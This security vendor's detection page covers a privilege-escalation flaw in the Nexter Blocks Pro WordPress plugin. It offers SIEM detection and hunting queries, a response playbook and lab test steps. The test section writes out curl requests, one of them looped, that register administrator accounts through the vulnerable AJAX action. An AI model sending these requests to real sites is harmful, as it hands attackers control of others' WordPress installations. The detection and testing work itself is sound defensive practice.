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CVE-2026-125294

Nexter Blocks Pro <= 5.0.10 Privilege Escalation via tpgb_ajax_register_user() (CVE-2026-125294)

Privilege Escalation Initial Access Last updated:

Detects exploitation of CVE-2026-125294, a privilege escalation vulnerability in the Nexter Blocks Pro plugin for WordPress (all versions up to and including 5.0.10). The vulnerable `tpgb_ajax_register_user()` AJAX handler fails to properly restrict the role/capability assigned during registration (CWE-269: Improper Privilege Management), allowing unauthenticated or low-privileged attackers to register accounts with elevated roles (e.g. administrator). Detection focuses on POST requests to WordPress admin-ajax.php invoking the `tpgb_ajax_register_user` action, especially those carrying role-related parameters, followed by creation of privileged accounts. CVSS 9.8 (critical); exploit status is currently theoretical.

Vulnerability Intelligence

Theoretical

CVSS

9.8
Critical (9.0–10)
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

What is CVE-2026-125294 Nexter Blocks Pro <= 5.0.10 Privilege Escalation via tpgb_ajax_register_user() (CVE-2026-125294)?

Nexter Blocks Pro <= 5.0.10 Privilege Escalation via tpgb_ajax_register_user() (CVE-2026-125294) (CVE-2026-125294) maps to the Privilege Escalation and Initial Access tactics — the adversary is trying to gain higher-level permissions in MITRE ATT&CK.

This page provides production-ready detection logic for Nexter Blocks Pro <= 5.0.10 Privilege Escalation via tpgb_ajax_register_user() (CVE-2026-125294), covering the data sources and telemetry it touches: IIS Logs, Web Server Logs. The queries below are rated critical severity at medium confidence, and ship for 7 SIEM platforms — KQL, SPL, Elastic, QRadar, Sumo, YARA-L, LogScale.

MITRE ATT&CK

Tactic
Privilege Escalation Initial Access
Microsoft Sentinel / Defender
kusto
// df00tech DF00-2bd163cf21 · https://df00tech.com/detections/CVE-2026-125294 · licence: https://df00tech.com/detections/licence
let suspiciousActions = dynamic(["tpgb_ajax_register_user"]);
W3CIISLog
| where csUriStem endswith "/wp-admin/admin-ajax.php" or csUriStem endswith "admin-ajax.php"
| where csMethod == "POST"
| extend body = tolower(coalesce(csUriQuery, ""))
| where body has_any (suspiciousActions) or csUriQuery has "tpgb_ajax_register_user"
| extend elevatedRoleAttempt = body has_any (dynamic(["administrator","role","wp_capabilities","editor","author"]))
| project TimeGenerated, cIP, csUriStem, csMethod, csUriQuery, scStatus, csUserAgent, sSiteName
| sort by TimeGenerated desc

Flags POST requests to WordPress admin-ajax.php invoking the tpgb_ajax_register_user action in IIS/web logs, surfacing role-elevation parameters when present.

critical severity medium confidence

Data Sources

IIS Logs Web Server Logs

Required Tables

W3CIISLog

False Positives

  • Legitimate use of a sanctioned Nexter registration form where the role is server-enforced to subscriber
  • Security scanners or WAF vulnerability assessment tools probing admin-ajax.php actions
  • QA or staging automation that exercises the registration endpoint

Query fingerprint DF00-2bd163cf21 · licence

Sigma logsource & community rules

The detection logic for Nexter Blocks Pro <= 5.0.10 Privilege Escalation via tpgb_ajax_register_user() (CVE-2026-125294) (CVE-2026-125294) above is provided in a vendor-neutral form so you can deploy it on any SIEM. The same logic is shipped here as native KQL (Microsoft Sentinel / Defender), SPL (Splunk), Elastic (Elastic Security (EQL)), QRadar (IBM QRadar (AQL)), Sumo (Sumo Logic CSE), YARA-L (Google Chronicle / SecOps), LogScale (CrowdStrike LogScale (CQL)) queries. In Sigma terms, this detection targets the following logsource:

logsource:
  product: windows

Browse the community-maintained Sigma rules for this technique:


Testing Methodology

Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are further down this page.

  1. Test 1 Simulate tpgb_ajax_register_user privilege escalation request

    Expected signal: Web access log entry: POST /wp-admin/admin-ajax.php with action=tpgb_ajax_register_user and role=administrator in the body.

  2. Test 2 Baseline legitimate subscriber registration (negative test)

    Expected signal: Web access log entry: POST /wp-admin/admin-ajax.php with action=tpgb_ajax_register_user and no role parameter.

  3. Test 3 Scripted repeated exploitation attempts from single source

    Expected signal: Five web access log entries from one source IP to admin-ajax.php invoking tpgb_ajax_register_user with role=administrator.


Response Playbook

Triage

  1. Confirm the targeted WordPress site runs the Nexter Blocks Pro plugin at version <= 5.0.10 (check wp-content/plugins/nexter-blocks-pro and plugin headers).
  2. Review the flagged admin-ajax.php POST request(s) for the tpgb_ajax_register_user action and inspect any role, wp_capabilities, or administrator parameters in the request body.
  3. Correlate the source IP and timestamp against WordPress user creation events to determine whether a new privileged account was created.
  4. Check the HTTP response status code, a 200 with a success payload suggests the registration handler executed.

Containment

  1. Disable or update the Nexter Blocks Pro plugin to a patched version above 5.0.10; if no patch exists, deactivate the plugin.
  2. Suspend or delete any newly created accounts with elevated (administrator/editor) roles that cannot be attributed to a legitimate action, and force a password reset for all admin accounts.
  3. Block the offending source IP(s) at the WAF/firewall and apply a virtual patch rule denying tpgb_ajax_register_user with role parameters.

Evidence Collection

  1. Preserve web/IIS/nginx access logs showing the admin-ajax.php POST requests, including full request bodies if captured.
  2. Export the WordPress wp_users and wp_usermeta tables (particularly wp_capabilities entries) and the audit log of user creation/role changes.
  3. Capture the plugin files and version metadata, and snapshot the database state for forensic comparison.

Escalation Criteria

  • ! Escalate to incident response if a new administrator-level account was successfully created or if an existing account's role was elevated.
  • ! Escalate if post-exploitation activity is observed, such as plugin/theme file modification, webshell upload, or admin login from the attacker IP.

Investigation Guide

Forensic Artifacts

  • > WordPress wp_users / wp_usermeta rows (wp_capabilities) showing unexpected administrator/editor roles
  • > Web server access logs with POST requests to admin-ajax.php and the tpgb_ajax_register_user action
  • > Newly created or modified PHP files under wp-content indicating post-compromise webshell activity

Tuning Guidance

If the site legitimately uses the Nexter registration form, baseline the expected request rate and role parameter values (should be subscriber only) and alert only on requests carrying administrator/editor/wp_capabilities parameters or on registrations immediately followed by admin capability assignment. Exclude known security scanner source IPs. Prioritize alerts where the HTTP response indicates success (200).


Hunting Queries

Aggregates admin-ajax.php requests invoking tpgb_ajax_register_user by source IP to surface repeated or scripted exploitation attempts.

Hunting — KQL
kql
// df00tech DF00-2bd163cf21 · https://df00tech.com/detections/CVE-2026-125294 · licence: https://df00tech.com/detections/licence
W3CIISLog | where csUriStem endswith "admin-ajax.php" and csMethod == "POST" and csUriQuery has "tpgb_ajax_register_user" | summarize count(), make_set(scStatus) by cIP, bin(TimeGenerated, 1h)
Hunting — SPL
spl
``` df00tech DF00-2bd163cf21 · https://df00tech.com/detections/CVE-2026-125294 · licence: https://df00tech.com/detections/licence ```
index=web uri_path="*admin-ajax.php" http_method=POST | search _raw="*tpgb_ajax_register_user*" | stats count values(status) by src_ip

Atomic Red Team Tests

Test 1 Simulate tpgb_ajax_register_user privilege escalation request
linux

Sends an unauthenticated POST to admin-ajax.php invoking the vulnerable action with an administrator role parameter against a lab WordPress instance.

Command

bash
curl -s -X POST 'http://wordpress.lab/wp-admin/admin-ajax.php' --data 'action=tpgb_ajax_register_user&username=attacker01&[email protected]&password=P@ssw0rd123!&role=administrator'

Cleanup

bash
wp user delete attacker01 --yes --path=/var/www/html || mysql -e "DELETE FROM wp_users WHERE user_login='attacker01';" wordpress

Expected Telemetry

Web access log entry: POST /wp-admin/admin-ajax.php with action=tpgb_ajax_register_user and role=administrator in the body.

Expected Detection

KQL/SPL/EQL rules fire on the admin-ajax.php POST containing tpgb_ajax_register_user and flag the elevated role parameter.

Test 2 Baseline legitimate subscriber registration (negative test)
linux

Submits a benign registration without a role parameter to validate that tuning does not over-alert on normal usage.

Command

bash
curl -s -X POST 'http://wordpress.lab/wp-admin/admin-ajax.php' --data 'action=tpgb_ajax_register_user&username=normaluser&[email protected]&password=User1234!'

Cleanup

bash
wp user delete normaluser --yes --path=/var/www/html || mysql -e "DELETE FROM wp_users WHERE user_login='normaluser';" wordpress

Expected Telemetry

Web access log entry: POST /wp-admin/admin-ajax.php with action=tpgb_ajax_register_user and no role parameter.

Expected Detection

Base detection matches the action; the elevated-role flag remains 0, and tuned alerts should not escalate.

Test 3 Scripted repeated exploitation attempts from single source
linux

Issues multiple registration requests in sequence to emulate automated abuse and validate aggregation hunting queries.

Command

bash
for i in $(seq 1 5); do curl -s -X POST 'http://wordpress.lab/wp-admin/admin-ajax.php' --data "action=tpgb_ajax_register_user&username=bulk$i&[email protected]&password=P@ssw0rd123!&role=administrator"; done

Cleanup

bash
for i in $(seq 1 5); do wp user delete bulk$i --yes --path=/var/www/html; done

Expected Telemetry

Five web access log entries from one source IP to admin-ajax.php invoking tpgb_ajax_register_user with role=administrator.

Expected Detection

Hunting aggregation query groups the five requests by source IP and surfaces the burst of elevated-role registration attempts.

Related Detections

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